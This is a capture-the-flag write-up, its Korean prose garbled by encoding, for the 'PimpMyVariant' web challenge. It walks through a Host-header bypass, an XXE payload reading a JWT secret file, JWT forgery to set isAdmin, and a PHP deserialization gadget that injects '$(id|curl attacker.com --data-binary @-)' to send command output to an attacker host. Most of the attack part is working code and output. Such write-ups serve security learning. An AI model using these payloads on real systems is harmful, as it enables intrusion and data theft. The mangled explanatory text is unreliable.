< PimpMyVarient >
๋ฌธ์ ์ฐฝ์ ์๋ฌด๊ฒ๋ ์๋ค. ์ต์คํ๋ก์ ํ ์ ์๋ ์์๊ฐ ์์ด robots.txt๋ถํฐ ํ์ธํด๋ดค๋ค.
ํด๋น ์ํธ๋ฆฌ ํฌ์ธํธ๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ์ง๋ง
์์ ๊ฐ์ด hostname์ด ํ์ฉ๋์ง ์๋ ๊ฒ์ ํ์ธํ๋ค. ํฐ๋ฏธ๋ ์ฐฝ์ ์ด์ด curl์ H์ต์ ์ธ ํค๋๋ฅผ ์ถ๊ฐํ๋ ๋ฐฉ์์ผ๋ก "Host : 127.0.0.1"์ ์ถ๊ฐํด๋ณด์.
curl 'https://pimpmyvariant.insomnihack.ch/readme' -H 'Host: 127.0.0.1'
์คํธํ์ ํ ์ ์๋ค. ์ด ๋ฐฉ์์ผ๋ก ์คํธํ ๊ฐ๋ฅํ ํ์ด์ง๋ "/readme" ์ "/new"์ด๋ค.
>> curl 'https://pimpmyvariant.insomnihack.ch/readme' -H 'Host: 127.0.0.1'
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Readme</h1>
#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file
>> curl 'https://pimpmyvariant.insomnihack.ch/new' -H 'Host: 127.0.0.1'
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>New variant</h1>
<form method="post" enctype="application/x-www-form-urlencoded" id="variant_form">
Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" /><br />
<input type="submit" name="Bet on this" />
</form>
<script type="text/javascript">
document.getElementById('variant_form').onsubmit = function(){
var variant_name=document.getElementById('variant_name').value;
postData('/api', "<?xml version='1.0' encoding='utf-8'?><root><name>"+variant_name+"</name></root>")
.then(data => {
window.location.href='/';
});
return false;
}
async function postData(url = '', data = {}) {
return await fetch(url, {
method: 'POST',
cache: 'no-cache',
headers: {
'Content-Type': 'text/xml'
},
redirect: 'manual',
referrerPolicy: 'no-referrer',
body: data
});
}
</script>
</body></html>
"/new" endpoint์ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ธํ ์ ์๋ค. xmlํ๊ทธ๊ฐ ์๋ ๊ฒ์ผ๋ก ๋ณด์ XXE ๊ณต๊ฒฉ์ ์ถ์ธกํ ์ ์๋ค.
๋ค์์ผ๋ก "/readme"์์ "/www/jwt.secret.txt"๋ฅผ ๊ฐ๋ฆฌํค๋ฏ๋ก XXE Injection์ ํตํ์ฌ ํด๋น txtํ์ผ์ ๋ด์ฉ์ ํ์ธํ์.
// XXE Injection to check out /www/jwt.secret.txt File
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///www/jwt.secret.txt'>]>
<root>
<name>&test;</name>
</root>
์ xml ๋ฌธ๋ฒ์ txt ํ์ผ๋ก ์ ์กํ๊ณ , ํค๋์ ์๋ต์ ํ์ธํ๋ฉด ์๋์ ๊ฐ๋ค.
JWT์ ํจ๊ป ์ ์์ ์ธ Response Message๋ฅผ ํ์ธ ๊ฐ๋ฅํ๋ค. jwt ๋ณตํธํ ํด์ธ jwt_tool์ ์ด์ฉํด์ ์ ์ํธ๊ฐ์ ํ์ธํด๋ณด์.
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] variants = ['Alpha', 'Beta', 'Gamma', 'Delta', 'Omicron', 'Lambda', 'Epsilon', 'Zeta', 'Eta', 'Theta', 'Iota', '54b163783c46881f1fe7ee05f90334aa']
[+] settings = "a:1:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:0;s:2:"id";s:40:"01750b2f9ac4ddbb2181db625b4be2988c59535c";}}"
[+] exp = 1643646120 ==> TIMESTAMP = 2022-01-31 08:22:00 (UTC)
XXE Injection์ ํตํด Success ๋ฌธ๊ตฌ๋ฅผ ํ์ธํ๋๋ฐ, Variants ๋ฆฌ์คํธ์ Iota ์์ ๋ค์ด๊ฐ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๋ ์์์ ๋์ ๋๋๊ฒ isAdmin์ด 0์ผ๋ก ๋์ด ์๋ค. ๋ฐ๋ผ์ 1๋ก ๋ฐ๊ฟ๋ณด์.
$ python3 jwt_tool -b 'python3 jwt_tool.py -b 'eyJh ... V8' \
-p 54b163783c46881f1fe7ee05f90334aa -S hs256 \
-I -pc settings \
-pv 'a:1:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"01750b2f9ac4ddbb2181db625b4be2988c59535c";}}'
eyJhsnp ... RnQZrNv8
$ curl 'https://pimpmyvariant.insomnihack.ch/log' \
-H 'Host: 127.0.0.1' \
-H 'Cookie: jwt=eyJhsnp ... RnQZrNv8'
[2022-1-31 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
isAdmin = 1์ธ jwt๋ฅผ ๋ณด๋ด๋ดค๋๋ ์๋ฌ๊ฐ ๋์์ง๋ง "/www/log.php"์ "/www/UpdateLogViewer.inc"๋ฅผ ํ์ธํ ์ ์๋ค. ์๋ง /www๊ฐ root directory์ธ ๊ฒ ๊ฐ๋ค.
๋๊ฐ์ ๋ฐฉ์์ผ๋ก UpdateLogViewer.inc ํ์ผ์ ์ดํด๋ณด๊ฒ ๋ค.
<?php
class UpdateLogViewer
{
public string $packgeName;
public string $logCmdReader;
private static ?UpdateLogViewer $singleton = null;
// This method won't get called on unserialization, we can override any
// of our instance's attributes, even add new ones
//
// Also note that we need to make it public in order to call it manually when
// building our payload
private function __construct(string $packgeName)
{
$this->packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
// This method gets called in /www/log.php, hopefully after our settings
// get unserialized
public static function instance() : UpdateLogViewer
{
if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}
return self::$singleton;
}
// Because file reading functions do not exist in PHP
public static function read():string
{
return system(self::logFile());
}
// Data does not come directly from the $_GET array, so it's fully safe not to
// filter or escape anything
public static function logFile():string
{
return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
// This replaces the current $singleton instance by $this instance
public function __wakeup()// serialize
{
self::$singleton = $this;
}
};
์ ์ฝ๋๋ JWT ๋ณ์กฐ๋ฅผ ํตํด "settings"๊ฐ์ ์กฐ์ ํ์ฌ RCE๋ฅผ ํฐํธ๋ฆด ์ ์๋ ์ฝ๋์ด๋ค. ์ด๋ฅผ ํตํด User ์ธ์คํด์ค, UpdateLogViewer ์ธ์คํด์ค๋ฅผ ์กฐ์ ๊ฐ๋ฅํ๋ค.
ํํธ PHP __wakeup() method Vulnerability๋ ์กด์ฌํ๋ค.
https://www.fatalerrors.org/a/php-deserialization-vulnerability.html
"setting" ๋ฐฐ์ด์ด unserialized๋์ง ์์ผ๋ฉด, ํด๋์ค๊ฐ __wakeup() ๋ฉ์๋๋ฅผ ์ด์ฉํด ์ธ์คํด์คํ ๋๋ค. ( __construct() ๋ฉ์๋๋ unserialize ์ค์ ์คํ๋์ง ์๋๋ค. )
๊ณต๊ฒฉ์ ์ ์ฅ์์ "$singleton"์ ๊ณต๋ตํด์ผ ํ๋ค.
<?php
// Code seems safe (for us), so we don't bother and include it
include 'UpdateLogViewer.inc';
// We inject our command in a subshell, piping its result to a remote HTTP server
$instance = new UpdateLogViewer('UpdateLogViewer$(id|curl attacker.com --data-binary @-)');
// Print original serialized data + an extra attribute containing our UpdateLogViewer
// instance, and our payload !
echo 'a:1:{i:0;O:4:"User":4:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"ff9d2c6e893ca3b4886f26eb98c2bc06754def72";s:2:"me";' . serialize($instance) . ';}}';
์์ ๊ฐ์ด php๋ฅผ ์ ์ฅํ๊ณ
$ ./gen.php
a:1:{i:0;O:4:"User":4:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"ff9d2c6e893ca3b4886f26eb98c2bc06754def72";s:2:"me";O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:55:"UpdateLogViewer$(id|curl attacker.com --data-binary @-)";s:12:"logCmdReader";s:3:"cat";};}}
$ curl 'https://pimpmyvariant.insomnihack.ch/log' \
-H 'Host: 127.0.0.1' \
-H "Cookie: jwt=$( \
jwt_tool -b 'eyJhbGciOiJIUzI1N...J9cjKrLRfXl3P6OhHtI8' \
-p 54b163783c46881f1fe7ee05f90334aa -S hs256 \
-I -pc settings -pv "$(./gen.php)" \
)"
์์ ๊ฐ์ด curl์ ์ด์ฉํด ์ ์ก์ํค๋ฉด ์์ ๋ด ๊ฒ์ ํ์ธํ ์ ์๋ค. ๋ค์์ผ๋ก "/www/flag.txt"๋ฅผ ํ์ธํ๋ฉด Flag ํ๋.
"/www/log"์ "/www/UpdateLogViewer.inc" ํ์ผ ํ์ธํ๋ ๋จ๊ณ๊น์ง ๊ฐ๋๋ฐ, ๊ทธ ์ดํ์ ์ด๋ค ๋ฐฉ์์ผ๋ก ์ต์คํ๋ก์์ ํ ์ง ๋ชฐ๋ผ์ ๊ฒฐ๊ตญ ํ๋๊ทธ๋ฅผ ์ป์ง ๋ชปํ๋ค.
XXE Injection๊ณผ PHP Unserialized Vulnerability ๊ณต๋ถ๋ฅผ ๋ํ ์ผํ๊ฒ ํด๋ด์ผํ ๊ฒ ๊ฐ๋ค.